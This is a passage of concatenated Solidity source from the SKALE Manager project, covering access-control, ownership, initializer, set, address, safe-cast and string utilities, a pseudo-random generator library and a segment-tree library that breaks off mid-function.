* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ContractManager.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol";
import "./utils/StringUtils.sol";
/**
* @title ContractManager
* @dev Contract contains the actual current mapping from contract IDs
* (in the form of human-readable strings) to addresses.
*/
contract ContractManager is OwnableUpgradeSafe {
using StringUtils for string;
using Address for address;
string public constant BOUNTY = "Bounty";
string public constant CONSTANTS_HOLDER = "ConstantsHolder";
string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager";
string public constant PUNISHER = "Punisher";
string public constant SKALE_TOKEN = "SkaleToken";
string public constant TIME_HELPERS = "TimeHelpers";
string public constant TOKEN_STATE = "TokenState";
string public constant VALIDATOR_SERVICE = "ValidatorService";
// mapping of actual smart contracts addresses
mapping (bytes32 => address) public contracts;
/**
* @dev Emitted when contract is upgraded.
*/
event ContractUpgraded(string contractsName, address contractsAddress);
function initialize() external initializer {
OwnableUpgradeSafe.__Ownable_init();
}
/**
* @dev Allows the Owner to add contract to mapping of contract addresses.
*
* Emits a {ContractUpgraded} event.
*
* Requirements:
*
* - New address is non-zero.
* - Contract is not already added.
* - Contract address contains code.
*/
function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner {
// check newContractsAddress is not equal to zero
require(newContractsAddress != address(0), "New address is equal zero");
// create hash of contractsName
bytes32 contractId = keccak256(abi.encodePacked(contractsName));
// check newContractsAddress is not equal the previous contract's address
require(contracts[contractId] != newContractsAddress, "Contract is already added");
require(newContractsAddress.isContract(), "Given contract address does not contain code");
// add newContractsAddress to mapping of actual contract addresses
contracts[contractId] = newContractsAddress;
emit ContractUpgraded(contractsName, newContractsAddress);
}
/**
* @dev Returns contract address.
*
* Requirements:
*
* - Contract must exist.
*/
function getDelegationPeriodManager() external view returns (address) {
return getContract(DELEGATION_PERIOD_MANAGER);
}
function getBounty() external view returns (address) {
return getContract(BOUNTY);
}
function getValidatorService() external view returns (address) {
return getContract(VALIDATOR_SERVICE);
}
function getTimeHelpers() external view returns (address) {
return getContract(TIME_HELPERS);
}
function getConstantsHolder() external view returns (address) {
return getContract(CONSTANTS_HOLDER);
}
function getSkaleToken() external view returns (address) {
return getContract(SKALE_TOKEN);
}
function getTokenState() external view returns (address) {
return getContract(TOKEN_STATE);
}
function getPunisher() external view returns (address) {
return getContract(PUNISHER);
}
function getContract(string memory name) public view returns (address contractAddress) {
contractAddress = contracts[keccak256(abi.encodePacked(name))];
if (contractAddress == address(0)) {
revert(name.strConcat(" contract has not been found"));
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
import "../Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
StringUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
library StringUtils {
using SafeMath for uint;
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory _ba = bytes(a);
bytes memory _bb = bytes(b);
string memory ab = new string(_ba.length.add(_bb.length));
bytes memory strBytes = bytes(ab);
uint k = 0;
uint i = 0;
for (i = 0; i < _ba.length; i++) {
strBytes[k++] = _ba[i];
}
for (i = 0; i < _bb.length; i++) {
strBytes[k++] = _bb[i];
}
return string(strBytes);
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SegmentTree.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
/**
* @title Random
* @dev The library for generating of pseudo random numbers
*/
library Random {
using SafeMath for uint;
struct RandomGenerator {
uint seed;
}
/**
* @dev Create an instance of RandomGenerator
*/
function create(uint seed) internal pure returns (RandomGenerator memory) {
return RandomGenerator({seed: seed});
}
function createFromEntropy(bytes memory entropy) internal pure returns (RandomGenerator memory) {
return create(uint(keccak256(entropy)));
}
/**
* @dev Generates random value
*/
function random(RandomGenerator memory self) internal pure returns (uint) {
self.seed = uint(sha256(abi.encodePacked(self.seed)));
return self.seed;
}
/**
* @dev Generates random value in range [0, max)
*/
function random(RandomGenerator memory self, uint max) internal pure returns (uint) {
assert(max > 0);
uint maxRand = uint(-1).sub(uint(-1).mod(max));
if (uint(-1).sub(maxRand) == max.sub(1)) {
return random(self).mod(max);
} else {
uint rand = random(self);
while (rand >= maxRand) {
rand = random(self);
}
return rand.mod(max);
}
}
/**
* @dev Generates random value in range [min, max)
*/
function random(RandomGenerator memory self, uint min, uint max) internal pure returns (uint) {
assert(min < max);
return min.add(random(self, max.sub(min)));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SegmentTree.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "./Random.sol";
/**
* @title SegmentTree
* @dev This library implements segment tree data structure
*
* Segment tree allows effectively calculate sum of elements in sub arrays
* by storing some amount of additional data.
*
* IMPORTANT: Provided implementation assumes that arrays is indexed from 1 to n.
* Size of initial array always must be power of 2
*
* Example:
*
* Array:
* +---+---+---+---+---+---+---+---+
* | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
* +---+---+---+---+---+---+---+---+
*
* Segment tree structure:
* +-------------------------------+
* | 36 |
* +---------------+---------------+
* | 10 | 26 |
* +-------+-------+-------+-------+
* | 3 | 7 | 11 | 15 |
* +---+---+---+---+---+---+---+---+
* | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
* +---+---+---+---+---+---+---+---+
*
* How the segment tree is stored in an array:
* +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+
* | 36 | 10 | 26 | 3 | 7 | 11 | 15 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
* +----+----+----+---+---+----+----+---+---+---+---+---+---+---+---+
*/
library SegmentTree {
using Random for Random.RandomGenerator;
using SafeMath for uint;
struct Tree {
uint[] tree;
}
/**
* @dev Allocates storage for segment tree of `size` elements
*
* Requirements:
*
* - `size` must be greater than 0
* - `size` must be power of 2
*/
function create(Tree storage segmentTree, uint size) external {
require(size > 0, "Size can't be 0");
require(size & size.sub(1) == 0, "Size is not power of 2");
segmentTree.tree = new uint[](size.mul(2).sub(1));
}
/**
* @dev Adds `delta` to element of segment tree at `place`
*
* Requirements:
*
* - `place` must be in range [1, size]
*/
function addToPlace(Tree storage self, uint place, uint delta) external {
require(_correctPlace(self, place), "Incorrect place");
uint leftBound = 1;
uint rightBound = getSize(self);
uint step = 1;
self.tree[0] = self.tree[0].add(delta);
while(leftBound < rightBound) {
uint middle = leftBound.add(rightBound).div(2);
if (place > middle) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
}
self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta);
}
}
/**
* @dev Subtracts `delta` from element of segment tree at `place`
*
* Requirements:
*
* - `place` must be in range [1, size]
* - initial value of target element must be not less than `delta`
*/
function removeFromPlace(Tree storage self, uint place, uint delta) external {
require(_correctPlace(self, place), "Incorrect place");
uint leftBound = 1;
uint rightBound = getSize(self);
uint step = 1;
self.tree[0] = self.tree[0].sub(delta);
while(leftBound < rightBound) {
uint middle = leftBound.add(rightBound).div(2);
if (place > middle) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
}
self.tree[step.sub(1)] = self.tree[step.sub(1)].sub(delta);
}
}
/**
* @dev Adds `delta` to element of segment tree at `toPlace`
* and subtracts `delta` from element at `fromPlace`
*
* Requirements:
*
* - `fromPlace` must be in range [1, size]
* - `toPlace` must be in range [1, size]
* - initial value of element at `fromPlace` must be not less than `delta`
*/
function moveFromPlaceToPlace(
Tree storage self,
uint fromPlace,
uint toPlace,
uint delta
)
external
{
require(_correctPlace(self, fromPlace) && _correctPlace(self, toPlace), "Incorrect place");
uint leftBound = 1;
uint rightBound = getSize(self);
uint step = 1;
uint middle = leftBound.add(rightBound).div(2);
uint fromPlaceMove = fromPlace > toPlace ? toPlace : fromPlace;
uint toPlaceMove = fromPlace > toPlace ? fromPlace : toPlace;
while (toPlaceMove <= middle || middle < fromPlaceMove) {
if (middle < fromPlaceMove) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
}
middle = leftBound.add(rightBound).div(2);
}
uint leftBoundMove = leftBound;
uint rightBoundMove = rightBound;
uint stepMove = step;
while(leftBoundMove < rightBoundMove && leftBound < rightBound) {
uint middleMove = leftBoundMove.add(rightBoundMove).div(2);
if (fromPlace > middleMove) {
leftBoundMove = middleMove.add(1);
stepMove = stepMove.add(stepMove).add(1);
} else {
rightBoundMove = middleMove;
stepMove = stepMove.add(stepMove);
}
self.tree[stepMove.sub(1)] = self.tree[stepMove.sub(1)].sub(delta);
middle = leftBound.add(rightBound).div(2);
if (toPlace > middle) {
leftBound = middle.add(1);
step = step.add(step).add(1);
} else {
rightBound = middle;
step = step.add(step);
}
self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta);
}
}
/**
* @dev Returns random position in range [`place`, size]
* with probability proportional to value stored at this position.
* If all element in range are 0 returns 0
*
* Requirements:
*
* - `place` must be in range [1, size]
*/
function getRandomNonZeroElementFromPlaceToLast(
Tree storage self,
uint place,
Random.RandomGenerator memory randomGenerator
)
external
view
returns (uint)
{
require(_correctPlace(self, place), "Incorrect place");
uint vertex = 1;
uint leftBound = 0;
uint rightBound = getSize(self);
uint currentFrom = place.sub(1);
uint currentSum = sumFromPlaceToLast(self, place);
if (currentSum == 0) {
return 0;
}
while(leftBound.add(1) < rightBound) {
if (_middle(leftBound, rightBound) <= currentFrom) {
vertex = _right(vertex);
leftBound = _middle(leftBound, rightBound);
} else {
uint rightSum = self.tree[_right(vertex).sub(1)];
uint leftSum = currentSum.sub(rightSum);
if (Random.random(randomGenerator, currentSum) < leftSum) {
// go left
vertex = _left(vertex);
rightBound = _middle(leftBound, rightBound);
currentSum = leftSum;
} else {
// go right
vertex = _right(vertex);
leftBound = _middle(leftBound, rightBound);
currentFrom = leftBound;
currentSum = rightSum;
}
}
}
return leftBound.add(1);
}
/**
* @dev Returns sum of elements in range [`place`, size]
*
* Requirements:
*
* - `place` must be in range [1, size]
*/
function sumFromPlaceToLast(Tree storage self, uint place) public view returns (uint sum) {
require(_correctPlace(self, place), "Incorrect place");
if (place == 1) {
return self.tree[0];
}
uint leftBound = 1;
uint rightBound = getSize(self);
uint step = 1;
